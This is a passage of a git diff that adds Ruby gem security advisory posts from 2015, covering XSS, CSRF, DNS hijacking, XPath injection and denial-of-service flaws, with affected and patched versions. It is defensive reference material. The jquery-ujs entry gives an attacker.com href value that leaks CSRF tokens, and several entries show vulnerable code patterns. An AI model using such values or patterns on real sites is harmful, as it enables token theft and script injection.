crash) via crafted XML data. + + CVE-2015-7995 + The xsltStylePreCompute function in preproc.c in libxslt 1.1.28 does not + check whether the parent node is an element, which allows attackers to cause + a denial of service using a specially crafted XML document. + + CVE-2015-8035 + The xz_decomp function in xzlib.c in libxml2 2.9.1 does not + properly detect compression errors, which allows context-dependent attackers + to cause a denial of service (process hang) via crafted XML data. + + Another vulnerability was discoverd in libxml2 that could cause parsing + of unclosed comments to result in "conditional jump or move depends on + uninitialized value(s)" and unsafe memory access. This issue does not have a + CVE assigned yet. See related URLs for details. Patched in v1.6.7.rc4. + patched_versions: + - "~> 1.6.6.4" + - ">= 1.6.7.rc4" + related: + cve: + - 2015-7941 + - 2015-7942 + - 2015-7995 + - 2015-8035 + url: + - https://github.com/sparklemotion/nokogiri/pull/1376 + - https://github.com/sparklemotion/nokogiri/commit/8f3de6d88d0da11fb62a45daa61b85ce71b4af59 +--- diff --git a/advisories/_posts/2015-04-14-CVE-2015-1866.md b/advisories/_posts/2015-04-14-CVE-2015-1866.md new file mode 100644 index 00000000..70fd790c --- /dev/null +++ b/advisories/_posts/2015-04-14-CVE-2015-1866.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2015-1866 (ember-source): Ember.js XSS Vulnerability With {{view "select"}} + Options' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2015-1866 + ghsa: mp78-r56v-45qc + url: https://groups.google.com/forum/#!topic/ember-security/nbntfs2EbRU + title: Ember.js XSS Vulnerability With {{view "select"}} Options + date: 2015-04-14 + description: |- + In general, Ember.js escapes or strips any user-supplied content before + inserting it in strings that will be sent to innerHTML. However, a + change made to the implementation of the select view means that any + user-supplied data bound to an option's label will not be escaped + correctly. + + In applications that use Ember's select view and pass user-supplied + content to the label, a specially-crafted payload could execute + arbitrary JavaScript in the context of the current domain ("XSS"). + + All users running an affected release and binding user-supplied data to + the select options should either upgrade or use one of the workarounds + immediately. + cvss_v3: 6.1 + unaffected_versions: + - "< 1.10.0" + patched_versions: + - "~> 1.10.1" + - "~> 1.11.2" + - ">= 1.12.0" +--- diff --git a/advisories/_posts/2015-04-15-OSVDB-120857.md b/advisories/_posts/2015-04-15-OSVDB-120857.md new file mode 100644 index 00000000..bd2778cf --- /dev/null +++ b/advisories/_posts/2015-04-15-OSVDB-120857.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-120857 (refile): refile Gem for Ruby contains a remote code execution + vulnerability' +comments: false +categories: +- refile +advisory: + gem: refile + osvdb: 120857 + url: https://groups.google.com/g/ruby-security-ann/c/VIfMO2LvzNs + title: refile Gem for Ruby contains a remote code execution vulnerability + date: 2015-04-15 + description: |- + refile Gem for Ruby contains a flaw that is triggered when input is not + sanitized when handling the 'remote_image_url' field in a form, where + 'image' is the name of the attachment. This may allow a remote attacker + to execute arbitrary shell commands. + unaffected_versions: + - "< 0.5.0" + patched_versions: + - ">= 0.5.4" + related: + url: + - https://groups.google.com/g/ruby-security-ann/c/VIfMO2LvzNs +--- diff --git a/advisories/_posts/2015-04-21-OSVDB-125678.md b/advisories/_posts/2015-04-21-OSVDB-125678.md new file mode 100644 index 00000000..4c7132bc --- /dev/null +++ b/advisories/_posts/2015-04-21-OSVDB-125678.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'OSVDB-125678 (sidekiq): Sidekiq Gem for Ruby web/views/queue.erb msg.display_class + Element XSS' +comments: false +categories: +- sidekiq +advisory: + gem: sidekiq + osvdb: 125678 + url: https://seclists.org/oss-sec/2015/q3/267 + title: Sidekiq Gem for Ruby web/views/queue.erb msg.display_class Element XSS + date: 2015-04-21 + description: XSS via job arguments display class in Sidekiq::Web + patched_versions: + - ">= 3.4.0" + related: + url: + - https://seclists.org/oss-sec/2015/q3/267 + - https://github.com/mperham/sidekiq/pull/2309 + - https://github.com/sidekiq/sidekiq/commit/54766f336620ca0ce3b0b87a7a56382496e64b61 +--- diff --git a/advisories/_posts/2015-04-29-CVE-2015-20108.md b/advisories/_posts/2015-04-29-CVE-2015-20108.md new file mode 100644 index 00000000..ce6c5a08 --- /dev/null +++ b/advisories/_posts/2015-04-29-CVE-2015-20108.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2015-20108 (ruby-saml): ruby-saml gem is vulnerable to XPath injection' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + osvdb: 124991 + cve: 2015-20108 + ghsa: r364-2pj4-pf7f + url: https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217 + title: ruby-saml gem is vulnerable to XPath injection + date: 2015-04-29 + description: |- + xml_security.rb in the ruby-saml gem before 1.0.0 for Ruby + allows XPath injection and code execution because prepared + statements are not used. + + The lack of prepared statements allows for possibly command + injection, leading to arbitrary code execution. + cvss_v2: 6.7 + cvss_v3: 9.8 + patched_versions: + - ">= 1.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-20108 + - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0 + - https://github.com/SAML-Toolkits/ruby-saml/pull/225 + - https://github.com/SAML-Toolkits/ruby-saml/commit/9853651b96b99653ea8627d757d46bfe62ab6448 + - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217 + - https://www.mend.io/vulnerability-database/WS-2015-0036 + - https://github.com/advisories/GHSA-r364-2pj4-pf7f +--- diff --git a/advisories/_posts/2015-04-29-CVE-2015-3448.md b/advisories/_posts/2015-04-29-CVE-2015-3448.md new file mode 100644 index 00000000..5783a890 --- /dev/null +++ b/advisories/_posts/2015-04-29-CVE-2015-3448.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2015-3448 (rest-client): rest-client ruby gem logs sensitive information' +comments: false +categories: +- rest-client +advisory: + gem: rest-client + cve: 2015-3448 + ghsa: mx9f-w8qq-q5jf + url: https://github.com/rest-client/rest-client/issues/349 + title: rest-client ruby gem logs sensitive information + date: 2015-04-29 + description: |- + REST client for Ruby (aka rest-client) before 1.7.3 logs usernames and + passwords, which allows local users to obtain sensitive information by reading the + log. + cvss_v2: 2.1 + patched_versions: + - ">= 1.7.3" +--- diff --git a/advisories/_posts/2015-04-29-OSVDB-124991.md b/advisories/_posts/2015-04-29-OSVDB-124991.md new file mode 100644 index 00000000..e5188bf6 --- /dev/null +++ b/advisories/_posts/2015-04-29-OSVDB-124991.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-124991 (ruby-saml): Ruby-Saml Gem is vulnerable to XPath Injection' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + osvdb: 124991 + url: https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0 + title: Ruby-Saml Gem is vulnerable to XPath Injection + date: 2015-04-29 + description: | + ruby-saml before 1.0.0 is vulnerable to XPath injection on + xml_security.rb. The lack of prepared statements allows for + possibly command injection, leading to arbitrary code execution. + cvss_v2: 6.7 + patched_versions: + - ">= 1.0.0" + related: + url: + - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0 + - https://github.com/SAML-Toolkits/ruby-saml/pull/225 + - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217 + - https://www.mend.io/vulnerability-database/WS-2015-0036 +--- diff --git a/advisories/_posts/2015-05-05-CVE-2015-3649.md b/advisories/_posts/2015-05-05-CVE-2015-3649.md new file mode 100644 index 00000000..cdcc6985 --- /dev/null +++ b/advisories/_posts/2015-05-05-CVE-2015-3649.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2015-3649 (open-uri-cached): open-uri-cached Gem for Ruby Unsafe Temporary + File Creation Local Privilege Escalation' +comments: false +categories: +- open-uri-cached +advisory: + gem: open-uri-cached + cve: 2015-3649 + osvdb: 121701 + ghsa: 7m2w-9gw7-c3xp + url: http://seclists.org/oss-sec/2015/q2/373 + title: open-uri-cached Gem for Ruby Unsafe Temporary File Creation Local Privilege + Escalation + date: 2015-05-05 + description: |- + open-uri-cached Gem for Ruby contains a flaw that is due to the + program creating temporary files in a predictable, unsafe manner when using + YAML. This may allow a local attacker to gain elevated privileges. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2015-05-11-OSVDB-126329.md b/advisories/_posts/2015-05-11-OSVDB-126329.md new file mode 100644 index 00000000..95d7ffc2 --- /dev/null +++ b/advisories/_posts/2015-05-11-OSVDB-126329.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-126329 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch.erb Class + and ErrorMessage Elements Reflected XSS' +comments: false +categories: +- sidekiq-pro +advisory: + gem: sidekiq-pro + osvdb: 126329 + url: https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#202 + title: Sidekiq Pro Gem for Ruby web/views/batch.erb Class and ErrorMessage Elements + Reflected XSS + date: 2015-05-11 + description: XSS via batch failure error_class and error_message in Sidekiq::Web + patched_versions: + - ">= 2.0.2" + related: + url: + - https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#202 + - https://github.com/mperham/sidekiq/commit/a695ff347ae50f641dfc35189131b232ea0aa1db + - https://github.com/sidekiq/sidekiq/issues/2467 + - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20219 +--- diff --git a/advisories/_posts/2015-05-14-CVE-2015-3900.md b/advisories/_posts/2015-05-14-CVE-2015-3900.md new file mode 100644 index 00000000..8463161a --- /dev/null +++ b/advisories/_posts/2015-05-14-CVE-2015-3900.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2015-3900 (rubygems-update): CVE-2015-3900 rubygems: DNS hijacking vulnerability + in api_endpoint()' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2015-3900 + osvdb: 122162 + ghsa: wp3j-rvfp-624h + url: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356 + title: 'CVE-2015-3900 rubygems: DNS hijacking vulnerability in api_endpoint()' + date: 2015-05-14 + description: |- + RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 + does not validate the hostname when fetching gems or making API requests, which + allows remote attackers to redirect requests to arbitrary domains via a crafted + DNS SRV record, aka a "DNS hijack attack." A flaw was found in a way rubygems verified + the API endpoint hostname retrieved through a DNS SRV record. A man-in-the-middle + attacker could use this flaw to force a client to download content from an untrusted + domain. + cvss_v2: 5.0 + patched_versions: + - "~> 2.0.16" + - "~> 2.2.4" + - ">= 2.4.7" + related: + url: + - https://guides.rubygems.org/cve +--- diff --git a/advisories/_posts/2015-05-25-CVE-2015-9284.md b/advisories/_posts/2015-05-25-CVE-2015-9284.md new file mode 100644 index 00000000..c76756e7 --- /dev/null +++ b/advisories/_posts/2015-05-25-CVE-2015-9284.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2015-9284 (omniauth): CSRF vulnerability in OmniAuth''s request phase' +comments: false +categories: +- omniauth +advisory: + gem: omniauth + cve: 2015-9284 + ghsa: ww4x-rwq6-qpgf + url: https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284 + title: CSRF vulnerability in OmniAuth's request phase + date: 2015-05-25 + description: |- + The request phase of the OmniAuth Ruby gem is vulnerable to Cross-Site + Request Forgery (CSRF) when used as part of the Ruby on Rails framework, allowing + accounts to be connected without user intent, user interaction, or feedback to + the user. This permits a secondary account to be able to sign into the web + application as the primary account. + + In order to mitigate this vulnerability, Rails users should consider using the + `omniauth-rails_csrf_protection` gem. + + More info is available here: https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284 + cvss_v2: 6.8 + cvss_v3: 8.8 + patched_versions: + - ">= 2.0.0" + related: + url: + - https://github.com/omniauth/omniauth/pull/809 + - https://github.com/cookpad/omniauth-rails_csrf_protection +--- diff --git a/advisories/_posts/2015-06-04-CVE-2015-4410.md b/advisories/_posts/2015-06-04-CVE-2015-4410.md new file mode 100644 index 00000000..cfbc9ef2 --- /dev/null +++ b/advisories/_posts/2015-06-04-CVE-2015-4410.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2015-4410 (moped): Data Injection Vulnerability in moped Rubygem' +comments: false +categories: +- moped +advisory: + gem: moped + cve: 2015-4410 + ghsa: f93j-hmcr-jcwh + url: http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html + title: Data Injection Vulnerability in moped Rubygem + date: 2015-06-04 + description: |- + A flaw in the ObjectId validation regular expression can enable attackers + to inject arbitrary information into a given BSON object. + cvss_v3: 7.5 + patched_versions: + - "~> 1.5.3" + - ">= 2.0.5" + related: + url: + - https://github.com/mongoid/moped/compare/e5fc928bcb5b7b89d171e31e31483be4185971b9...32cba17ad7d3da326778b4d8cd4b52e75bca9d40 + - https://github.com/mongoid/moped/commit/276fbfd23c5ffb65e6bd18d564c8b6878c2498ac +--- diff --git a/advisories/_posts/2015-06-04-CVE-2015-4412.md b/advisories/_posts/2015-06-04-CVE-2015-4412.md new file mode 100644 index 00000000..dcce79e4 --- /dev/null +++ b/advisories/_posts/2015-06-04-CVE-2015-4412.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2015-4412 (bson): Data Injection Vulnerability in bson Rubygem' +comments: false +categories: +- bson +advisory: + gem: bson + cve: 2015-4412 + ghsa: h6rj-8r3c-9gpj + url: http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html + title: Data Injection Vulnerability in bson Rubygem + date: 2015-06-04 + description: |- + A flaw in the ObjectId validation regular expression can enable attackers + to inject arbitrary information into a given BSON object. + cvss_v3: 9.8 + patched_versions: + - "~> 1.12.3" + - ">= 3.0.4" + related: + url: + - https://github.com/mongodb/mongo-ruby-driver/compare/6ae981167759d5819ba3d41e374e5b2af5b79077~1...9859a3ab9773a8a883eb8438b665a921cc991c71 + - https://github.com/mongodb/bson-ruby/compare/7446d7c6764dfda8dc4480ce16d5c023e74be5ca...28f34978a85b689a4480b4d343389bf4886522e7 +--- diff --git a/advisories/_posts/2015-06-04-OSVDB-125676.md b/advisories/_posts/2015-06-04-OSVDB-125676.md new file mode 100644 index 00000000..a4e7b9e9 --- /dev/null +++ b/advisories/_posts/2015-06-04-OSVDB-125676.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-125676 (sidekiq): Sidekiq Gem for Ruby web/views/queue.erb Element Reflected + XSS' +comments: false +categories: +- sidekiq +advisory: + gem: sidekiq + osvdb: 125676 + url: https://seclists.org/oss-sec/2015/q3/267 + title: Sidekiq Gem for Ruby web/views/queue.erb Element Reflected XSS + date: 2015-06-04 + description: |- + Sidekiq Gem for Ruby web/views/queue.erb [CurrentMessagesInQueue, + AreYouSureDeleteQueue] Element Reflected XSS + patched_versions: + - ">= 3.4.0" + related: + osvdb: + - 125677 + url: + - https://seclists.org/oss-sec/2015/q3/267 + - https://github.com/mperham/sidekiq/issues/2330 + - https://github.com/sidekiq/sidekiq/commit/2178d66b6686fbf4430223c34c184a64c9906828 + - https://github.com/rubysec/ruby-advisory-db/pull/196 + - https://github.com/rubysec/ruby-advisory-db/commit/19a8fc075a6cc0702f978219c88d97c666fecdbd +--- diff --git a/advisories/_posts/2015-06-05-CVE-2015-2963.md b/advisories/_posts/2015-06-05-CVE-2015-2963.md new file mode 100644 index 00000000..8cbd528d --- /dev/null +++ b/advisories/_posts/2015-06-05-CVE-2015-2963.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2015-2963 (paperclip): Paperclip Gem for Ruby vulnerable to content type + spoofing' +comments: false +categories: +- paperclip +advisory: + gem: paperclip + cve: 2015-2963 + ghsa: 6jvm-3j5h-79f6 + url: https://robots.thoughtbot.com/paperclip-security-release + title: Paperclip Gem for Ruby vulnerable to content type spoofing + date: 2015-06-05 + description: |- + There is an issue where if an HTML file is uploaded with a .html + extension, but the content type is listed as being `image/jpeg`, this + will bypass a validation checking for images. But it will also pass the + spoof check, because a file named .html and containing actual HTML + passes the spoof check. + cvss_v2: 4.3 + patched_versions: + - ">= 4.2.2" +--- diff --git a/advisories/_posts/2015-06-08-CVE-2015-4020.md b/advisories/_posts/2015-06-08-CVE-2015-4020.md new file mode 100644 index 00000000..c4fbf3bb --- /dev/null +++ b/advisories/_posts/2015-06-08-CVE-2015-4020.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2015-4020 (rubygems-update): RubyGems remote_fetcher.rb api_endpoint() + Function Missing SRV Record Hostname Validation Request Hijacking' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2015-4020 + ghsa: qv62-xfj6-32xm + url: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478 + title: RubyGems remote_fetcher.rb api_endpoint() Function Missing SRV Record Hostname + Validation Request Hijacking + date: 2015-06-08 + description: |- + RubyGems contains a flaw in the api_endpoint() function in remote_fetcher.rb + that is triggered when handling hostnames in SRV records. With a specially + crafted response, a context-dependent attacker may conduct DNS hijacking + attacks. This vulnerability is due to an incomplete fix for CVE-2015-3900, + which allowed redirection to an arbitrary gem server in any security domain. + cvss_v2: 5.0 + patched_versions: + - "~> 2.0.17" + - "~> 2.2.5" + - ">= 2.4.8" + related: + url: + - https://guides.rubygems.org/cve +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-1840.md b/advisories/_posts/2015-06-16-CVE-2015-1840.md new file mode 100644 index 00000000..db947046 --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-1840.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2015-1840 (jquery-ujs): CSRF Vulnerability in jquery-ujs' +comments: false +categories: +- jquery-ujs +advisory: + gem: jquery-ujs + cve: 2015-1840 + ghsa: 4whc-pp4x-9pf3 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/XIZPbobuwaY + title: CSRF Vulnerability in jquery-ujs + date: 2015-06-16 + description: |- + In the scenario where an attacker might be able to control the href attribute + of an anchor tag or the action attribute of a form tag that will trigger a + POST action, the attacker can set the href or action to + " https://attacker.com" (note the leading space) that will be passed to + JQuery, who will see this as a same origin request, and send the user's CSRF + token to the attacker domain. + + To work around this problem, change code that allows users to control the + href attribute of an anchor tag or the action attribute of a form tag to + filter the user parameters. + + For example, code like this: + + link_to params + + to code like this: + + link_to filtered_params + + def filtered_params + \# Filter just the parameters that you trust + end + + See also: + - http://blog.honeybadger.io/understanding-the-rails-jquery-csrf-vulnerability-cve-2015-1840/ + cvss_v2: 5.0 + patched_versions: + - ">= 1.0.4" +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-3224.md b/advisories/_posts/2015-06-16-CVE-2015-3224.md new file mode 100644 index 00000000..086c6c4d --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-3224.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2015-3224 (web-console): IP whitelist bypass in Web Console' +comments: false +categories: +- web-console +advisory: + gem: web-console + cve: 2015-3224 + ghsa: 67j6-xv27-w6ww + url: https://groups.google.com/forum/#!topic/ruby-security-ann/lzmz9_ijUFw + title: IP whitelist bypass in Web Console + date: 2015-06-16 + description: |- + Specially crafted remote requests can spoof their origin, bypassing the + IP whitelist, in any environment where Web Console is enabled + (development and test, by default). + + Users whose application is only accessible from localhost (as is the default + behaviour in Rails 4.2) are not affected, unless a local proxy is involved. + + All affected users should either upgrade or use one of the work arounds + immediately. + + To work around this issue, turn off web-console in all environments, + by removing/commenting it from the application's Gemfile. + patched_versions: + - ">= 2.1.3" +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-3225.md b/advisories/_posts/2015-06-16-CVE-2015-3225.md new file mode 100644 index 00000000..f2ce0126 --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-3225.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2015-3225 (rack): Potential Denial of Service Vulnerability in Rack' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2015-3225 + ghsa: rgr4-9jh5-j4j6 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/gcUbICUmKMc + title: Potential Denial of Service Vulnerability in Rack + date: 2015-06-16 + description: |- + Carefully crafted requests can cause a `SystemStackError` and potentially + cause a denial of service attack. + + All users running an affected release should upgrade. + patched_versions: + - ">= 1.6.2" + - "~> 1.5.4" + - "~> 1.4.6" +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-3226.md b/advisories/_posts/2015-06-16-CVE-2015-3226.md new file mode 100644 index 00000000..33147701 --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-3226.md @@ -0,0 +1,58 @@ +--- +layout: advisory +title: 'CVE-2015-3226 (activesupport): XSS Vulnerability in ActiveSupport::JSON.encode' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2015-3226 + ghsa: vxvp-4xwc-jpp6 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/7VlB_pck3hU + title: XSS Vulnerability in ActiveSupport::JSON.encode + date: 2015-06-16 + description: |- + When a `Hash` containing user-controlled data is encode as JSON (either through + `Hash#to_json` or `ActiveSupport::JSON.encode`), Rails does not perform adequate + escaping that matches the guarantee implied by the `escape_html_entities_in_json` + option (which is enabled by default). If this resulting JSON string is subsequently + inserted directly into an HTML page, the page will be vulnerable to XSS attacks. + + For example, the following code snippet is vulnerable to this attack: + + <%= javascript_tag "var data = #{user_supplied_data.to_json};" %> + + Similarly, the following is also vulnerable: + + + + All applications that renders JSON-encoded strings that contains user-controlled + data in their views should either upgrade to one of the FIXED versions or use + the suggested workaround immediately. + + Workarounds + ----------- + To work around this problem add an initializer with the following code: + + module ActiveSupport + module JSON + module Encoding + private + class EscapedString + def to_s + self + end + end + end + end + end + unaffected_versions: + - "< 4.1.0" + patched_versions: + - ">= 4.2.2" + - "~> 4.1.11" +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-3227.md b/advisories/_posts/2015-06-16-CVE-2015-3227.md new file mode 100644 index 00000000..5a972f6c --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-3227.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2015-3227 (activesupport): Possible Denial of Service attack in Active + Support' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2015-3227 + ghsa: j96r-xvjq-r9pg + url: https://groups.google.com/forum/#!topic/rubyonrails-security/bahr2JLnxvk + title: Possible Denial of Service attack in Active Support + date: 2015-06-16 + description: |- + Specially crafted XML documents can cause applications to raise a + `SystemStackError` and potentially cause a denial of service attack. This + only impacts applications using REXML or JDOM as their XML processor. Other + XML processors that Rails supports are not impacted. + + All users running an affected release should either upgrade or use one of the work arounds immediately. + + Workarounds + ----------- + Use an XML parser that is not impacted by this problem, such as Nokogiri or + LibXML. You can change the processor like this: + + ActiveSupport::XmlMini.backend = 'Nokogiri' + + If you cannot change XML parsers, then adjust + `RUBY_THREAD_MACHINE_STACK_SIZE`. + patched_versions: + - ">= 4.2.2" + - "~> 4.1.11" + - "~> 3.2.22" +--- diff --git a/advisories/_posts/2015-06-16-CVE-2015-4619.md b/advisories/_posts/2015-06-16-CVE-2015-4619.md new file mode 100644 index 00000000..438e571d --- /dev/null +++ b/advisories/_posts/2015-06-16-CVE-2015-4619.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2015-4619 (spina): Cross-site request forgery (CSRF) vulnerability in + Spina gem' +comments: false +categories: +- spina +advisory: + gem: spina + cve: 2015-4619 + ghsa: 2hxv-mx8x-mcj9 + url: http://www.openwall.com/lists/oss-security/2015/06/16/11 + title: Cross-site request forgery (CSRF) vulnerability in Spina gem + date: 2015-06-16 + description: |- + "`Spina::ApplicationController` actions didn't have CSRF protection. + This causes a CSRF vulnerability across the entire engine which includes administrative + functionality such as creating users, changing passwords, and media management." + cvss_v3: 8.8 + patched_versions: + - ">= 0.6.29" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-4619 + - https://github.com/denkGroot/Spina/commit/bfe44f289e336f80b6593032679300c493735e75 + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/cross-site-request-forgery-csrf/ruby/sid-1686/summary + - https://github.com/rubysec/ruby-advisory-db/issues/238 +--- diff --git a/advisories/_posts/2015-06-22-CVE-2015-5147.md b/advisories/_posts/2015-06-22-CVE-2015-5147.md new file mode 100644 index 00000000..f7718a44 --- /dev/null +++ b/advisories/_posts/2015-06-22-CVE-2015-5147.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2015-5147 (redcarpet): redcarpet Gem for Ruby html.c header_anchor() Function + Stack Overflow' +comments: false +categories: +- redcarpet +advisory: + gem: redcarpet + cve: 2015-5147 + osvdb: 123859 + ghsa: 7322-9mx6-5j2m + url: http://seclists.org/oss-sec/2015/q2/818 + title: redcarpet Gem for Ruby html.c header_anchor() Function Stack Overflow + date: 2015-06-22 + description: |- + redcarpet Gem for Ruby contains a flaw that allows a stack overflow. + This flaw exists because the header_anchor() function in html.c uses + variable length arrays (VLA) without any range checking. This may + allow a remote attacker to execute arbitrary code. + cvss_v2: 7.5 + unaffected_versions: + - "< 3.3.0" + patched_versions: + - ">= 3.3.2" +--- diff --git a/advisories/_posts/2015-06-30-OSVDB-124383.md b/advisories/_posts/2015-06-30-OSVDB-124383.md new file mode 100644 index 00000000..ebd86632 --- /dev/null +++ b/advisories/_posts/2015-06-30-OSVDB-124383.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-124383 (ruby-saml): Ruby-Saml Gem is vulnerable to entity expansion + attacks' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + osvdb: 124383 + url: https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0 + title: Ruby-Saml Gem is vulnerable to entity expansion attacks + date: 2015-06-30 + description: ruby-saml before 1.0.0 is vulnerable to entity expansion attacks. + cvss_v2: 3.9 + patched_versions: + - ">= 1.0.0" + related: + url: + - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0 + - https://github.com/SAML-Toolkits/ruby-saml/pull/247 + - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20232 + - https://github.com/onelogin/ruby-saml/pull/247 +--- diff --git a/advisories/_posts/2015-07-06-OSVDB-125675.md b/advisories/_posts/2015-07-06-OSVDB-125675.md new file mode 100644 index 00000000..c2e34202 --- /dev/null +++ b/advisories/_posts/2015-07-06-OSVDB-125675.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'OSVDB-125675 (sidekiq): Sidekiq Gem for Ruby Multiple Unspecified CSRF' +comments: false +categories: +- sidekiq +advisory: + gem: sidekiq + osvdb: 125675 + url: https://seclists.org/oss-sec/2015/q3/267 + title: Sidekiq Gem for Ruby Multiple Unspecified CSRF + date: 2015-07-06 + description: Sidekiq::Web lacks CSRF protection + patched_versions: + - ">= 3.4.2" + related: + url: + - https://seclists.org/oss-sec/2015/q3/267 + - https://github.com/mperham/sidekiq/pull/2422 + - https://github.com/sidekiq/sidekiq/commit/cf3c43b2410c4573e05ac119494e41115f4140ad + - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQ-20233 +--- diff --git a/advisories/_posts/2015-07-13-CVE-2017-11173.md b/advisories/_posts/2015-07-13-CVE-2017-11173.md new file mode 100644 index 00000000..03ea130d --- /dev/null +++ b/advisories/_posts/2015-07-13-CVE-2017-11173.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2017-11173 (rack-cors): rack-cors Gem Missing Anchor permits unauthorized + CORS requests' +comments: false +categories: +- rack-cors +advisory: + gem: rack-cors + cve: 2017-11173 + ghsa: 2j9c-9vmv-7m39 + url: https://github.com/cyu/rack-cors/issues/86 + title: rack-cors Gem Missing Anchor permits unauthorized CORS requests + date: 2015-07-13 + description: |- + Missing anchor in generated regex for rack-cors before 0.4.1 + allows a malicious third-party site to perform CORS requests. + If the configuration were intended to allow only the trusted + example.com domain name and not the malicious example.net domain name, + then example.com.example.net (as well as example.com-example.net) would + be inadvertently allowed. + cvss_v2: 6.8 + cvss_v3: 8.8 + patched_versions: + - ">= 0.4.1" + related: + url: + - https://github.com/cyu/rack-cors/issues/86 + - http://seclists.org/fulldisclosure/2017/Jul/22 +--- diff --git a/advisories/_posts/2015-07-17-OSVDB-126331.md b/advisories/_posts/2015-07-17-OSVDB-126331.md new file mode 100644 index 00000000..6109eb75 --- /dev/null +++ b/advisories/_posts/2015-07-17-OSVDB-126331.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-126331 (sidekiq-pro): Sidekiq Pro Gem for Ruby CSRF in Job Filtering' +comments: false +categories: +- sidekiq-pro +advisory: + gem: sidekiq-pro + osvdb: 126331 + url: https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#206-193 + title: Sidekiq Pro Gem for Ruby CSRF in Job Filtering + date: 2015-07-17 + description: |- + Sidekiq::Web job filtering lacks CSRF protection. + This issue is related to OSVDB-125675. + patched_versions: + - "~> 1.9.3" + - ">= 2.0.6" + related: + osvdb: + - 125675 + url: + - https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#206-193 + - https://github.com/sidekiq/sidekiq/issues/2442 + - https://github.com/sidekiq/sidekiq/issues/2467 + - https://github.com/rubysec/ruby-advisory-db/pull/201 + - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20234 +--- diff --git a/advisories/_posts/2015-07-20-OSVDB-125701.md b/advisories/_posts/2015-07-20-OSVDB-125701.md new file mode 100644 index 00000000..238bb7f9 --- /dev/null +++ b/advisories/_posts/2015-07-20-OSVDB-125701.md @@ -0,0 +1,27 @@ +--- +layout: 